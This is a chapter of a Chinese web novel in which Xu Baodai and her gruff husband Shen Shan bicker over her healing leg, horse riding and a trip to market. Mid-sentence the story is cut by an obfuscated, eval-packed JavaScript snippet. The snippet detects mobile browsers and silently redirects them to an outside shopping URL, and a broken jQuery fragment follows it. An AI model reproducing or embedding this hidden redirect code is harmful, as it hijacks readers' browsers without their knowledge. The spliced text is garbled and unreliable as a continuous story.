11.第 11 章
作品:《假成婚的糙汉村夫是披马反派》 徐宝黛懒得理他。
晚上吃饭的时候徐宝黛问起沈浚在外祖家读书的事情,同时也对那个未见过面的外祖有了一点的了解。
他们的外祖是个前朝的秀才,由于一直不中举,加上对乱世中官场沉沉浮浮的失望,所以歇了进入仕途的心思。不过家里的私塾倒是办起来了,住宅又在镇上和村里的必经之路上,这样有点积蓄的村里人可以去,没什么钱的镇上人也会选择去。
不过提起那名为一两的驴,徐宝黛问道,“为什么都是一家人,怎么你们外祖给头驴崽子还问你们要钱?”更奇怪的是,办事那天他们那边的亲戚一个都没有来,不过也可能沈汕根本就没有请人家来。
明明都知道哥几个早早没了娘,还有个欠债失踪的爹,在正常人家里有点能力的话应该是多帮衬一点的,毕竟是自己的亲外孙。
沈汕依旧不语,沈洛不愿意让嫂嫂的话撂地上,便接过来说道,“外祖家也是一大家子人呢。光是舅舅就有六个,舅舅们的妻妾若干,加上舅舅下面还有十几个表弟兄姐妹,这些人都靠着外祖养活,收上来的束脩也仅仅只够家里人吃得上饭。姨娘们倒是偶尔会在回娘家的时候给三弟带点吃的,但也仅仅是如此了,她们也各有各的难处。”
徐宝黛了然地点点头,看了看两兄弟,犹豫后还是说了,“沈浚在那边会不会吃不好穿不暖?表兄弟姐妹们会不会欺负他?”她都有些责怪自己那天为什么没送送小沈浚,这样也能看到他有没有带够东西。
“我知道嫂嫂一定会问的,”沈洛笑道,“我也想过,但是每次问起,三弟都笑着回我,应该是没事的,毕竟还有外祖在。”
徐宝黛疑惑道,“二弟之前也在外祖家读过书吗?”
他似乎还认识一些字,甚至知道一些算术的基础,不像沈汕完全就是个睁眼瞎,可沈汕为什么没有去读书呢?
沈洛点点头,“但我只在那里待过十几天,之后就出来了。”
徐宝黛问,“为什么?”
沈洛正要说,一直在一旁默不作声的沈汕却突然开口。
“吃饭。”
毕竟是在饭桌上,两人只是对视了一眼,然后不约而同地闭上嘴,徐宝黛偷偷剜了一眼沈汕,吞了一大口饭,反正他也不是天天在家里守着,自己跟沈洛难道还找不到时间说个痛快吗?
沈洛对于马儿红旗尤其上心,吃完饭就跑去跟它说话帮他梳毛按摩,脸上的两个小酒窝就一直没消停过,而且红旗似乎也很享受,每天吃喝不误,偶尔沈洛会牵着他出去走走,徐宝黛提过几次两人趁着沈汕不在出去跑跑,可是沈洛都婉拒了。这段时间沈汕都没有来给她找什么麻烦。
时间过得非常慢,徐宝黛呆了不到一个月就迫不及待地开始放下拐杖自己扶着东西走路,在一次中午洗澡的时候,她突然发现自己的左腿变得很细。
徐宝黛赶紧穿戴好走出去寻找沈汕的身影,连洗澡水都没来得及倒。
穿过菜畦,再绕过老三的屋子,徐宝黛二话不说对着蹲在灶台前烧火的男人,掀起自己的裤腿。
沈汕在她进来的时候就抬眼看过去了,袄裙撩开,裤脚上提,他的视线跟着动作下移,一双干净修长的小腿露了出来,白得晃眼。
“你快看看我这是怎么回事,为什么是一粗一细的,是不是你给我接坏了?”
看着徐宝黛急得快要哭出来的样子,沈汕慢慢移开视线,声音平淡,“要是坏了,你现在根本站不起来。”
“那你说怎么回事。”徐宝黛双手提着,往他面前凑,一副要定他负责的气势。
沈汕向后靠了靠,拉远两人的距离,眼睛依旧不看她,语速有点快,“过一段时间就好了,不信自己下山找大夫去。”
本来第一句话徐宝黛是愿意听的,可是第二句话就突然让人冒火,难不成他认为自己不敢下山还是怎么?
“下山就下山,我跟二弟骑红旗去!”
她扭头就走,沈汕放下火钳子,“等等!”
他炉灶的火也不看了,站起来挡住她的路,低头去找她的脸,却只能看到她气呼呼的头顶和一点点挺翘的粉鼻尖。
“胡闹,你自己走路都不稳,还想带着不会骑马的沈洛?”
徐宝黛一听瞬间换了脸色,挑衅地冲他仰起脸,得意道,“这你就不知道了吧?红旗到家的第一天我还需要拄拐呢,那个时候我就带着二弟跑了好几圈了。”
闻言沈汕的脸霎时间黑了,他一把抓住徐宝黛的手腕,提到近前,低头质问,“你们怎么说都是叔嫂关系,怎可共骑?简直胡闹!”
徐宝黛吃痛往回收,不料他却越收越紧,她面露疼痛,沈汕很快放开手,但还是像一座黑山似的立在她面前,阻止她往前一步。
“所以你担心的根本就不是我们的安全,而是那些劳什子,”徐宝黛揉着手腕,把头扭过去不愿意看他这张臭脸,“他还不到十五岁,就是小孩子,怕什么呀,谁敢说什么我打谁。”
沈汕轻轻“哼”了一声,伸出手在她的脸上拧了一下,力道不算小,徐宝黛又炸毛了。
她快速出了一个刀手,力道不算小,却被沈汕轻松挡住,沈汕这下一只手握住她两个手腕,只力道放松了许多,仅仅是不让她挣脱开。
徐宝黛只好两只手高举过头被他强制制服住,她面上不屈的表情大大取悦了沈汕的顽劣心思。他眼眸璨若星河,里面可以看见徐宝黛挣扎的小影子。
“你还是不说话的样子稍微好看点,平常怎么那么多话?谁你都要聊两句,连沈洛沈浚这两个毛头孩子都能被你唬得团团转。”
“说明我人很好,大家都喜欢我,这是我的魅力。”
就他沈汕不把自己当个宝看待,徐宝黛本想继续嘲讽他的粗鄙,可突然一个念头浮现,对呀,她怎么没想到!
她虽然双手被牢牢固定在头顶,看起来很被动,但嘴上一点不吃亏,她边说边笑,“你这下是真吃醋了吧?我们现在的地位可谓是天差地别,如今我因为失忆不记得你,可你还是一直记得我、喜欢我的,所以现在你是矮我一头。”
沈汕一愣,似是被戳破后的恼怒,他彻底放开手,又侧身绕过她,重新蹲回了灶台前。
方才语气中的笑意消失,“吃完午饭再走,我跟你一起。”
“中午去的话会不会碰上没散的集市?”徐宝黛心存幻想,她太想出去玩了。
沈汕嗤笑,“你真是大地方出来的人,我们这边的集市不是每天都有,逢三逢七才会有大小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064600|194807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
集。”
徐宝黛已经习惯了两人每天拌嘴,“你说有没有不就行了,非要恶心我一下干什么。”
想到那盆洗澡水,她又开始使唤道,“你做完饭帮我把洗澡水倒了,上次我自己倒还扯到伤口了,疼得我几晚上没睡好。”
那是前几日他们又吵架了,原因徐宝黛早已忘记,她正在气头上,所以逞强没有叫他来倒水,更不能叫身为小叔子的沈洛帮忙,她原本也都是趁着沈洛不在家才会洗澡。于是悲剧发生,她自己把水桶掀翻,洗澡水是倒了,她穿得单薄一下子跌坐在地上,蹭到了背上的旧伤口。
沈汕记得徐宝黛说的上次是哪次,他点头应下。
饭后徐宝黛见他把驴牵了出来,她身边的沈洛露出一副果然如此的表情,徐宝黛问道,“你大哥为什么不跟我骑马?哎,你说他该不会是害怕吧?”
想到他会有害怕的可能,徐宝黛都要笑岔气。
沈洛凑到她耳边小声道,“嫂嫂,骑马太显眼了,大哥不是喜欢显摆的人。”
徐宝黛没了兴致,跟他告别,“下次我带你一起去玩。”
没下雪的时候每天都要去镇上做工的沈洛点点头,他没什么想去镇上的心思,对他来说去镇上还不如在家里给红旗刷毛。不过他不能驳了嫂嫂的面子。
他从兜里拿出几串铜钱,塞到徐宝黛手里,“嫂嫂若是看到什么喜欢吃的就买回来吧。”
这是她那日给沈洛的,徐宝黛不愿意收,“你自己收着用,你大哥会给我买的。”
沈洛摇头,“大哥给的是他给的,这个是我给嫂嫂的。”
那边沈汕在催了,沈洛轻轻推她往前走,“嫂嫂还没去我们这边的镇上玩过,其实很多年前这边还挺繁华的,是吴兰国的旧址,后来吴兰国兵败退都,这边才慢慢住进来很多中原人。”
沈汕见他俩又在嘀嘀咕咕说话,板着脸吩咐沈洛把家里洗刷一遍,徐宝黛听后大叫,“你真是狠心,现在雪虽然停了可是化冻的时候更冷,家里不是挺干净的,让孩子大冷天洗什么东西?”
“那就让他砍柴去,”沈汕眉头中间多了深深的沟壑,他不禁责怪道,“你三天两头就要洗澡,家里的柴总不够用。”
“我这不是腿好了?我以后自己砍柴,今天不要让他砍!”
徐宝黛刚拿了人家的钱,怎么可能就白白让沈洛受哥哥的气,大冷天出去砍柴,亏他想的出来。
沈洛这还是第一次见到大哥和嫂嫂拌嘴,他吓得一直不敢插话,心里责怪大哥没必要这么咄咄逼人还把话说得很难听,分明这一个月来都是大哥自己砍柴的,都没有让自己去山里过,可是大哥为什么不说呢?
“那个我没事——”
“你进去,大人说话小孩插什么嘴!”
他的话还没说完,就被沈汕呵斥回去。
沈汕今天穿得不算多,黑色的兽皮马甲紧紧地勒出他胸前喷张的肌肉,此刻正随着呼吸微微起伏,头上还是绑着黑色发带,不过半长的头发被他扎了起来,从正面看,有个小尾巴在脖子后面。
长得还不错的人,为什么脾气这么差?
“你……”徐宝黛给自己顺顺气,“你好好说话,不然这不是我们一开始说好的过日子。”

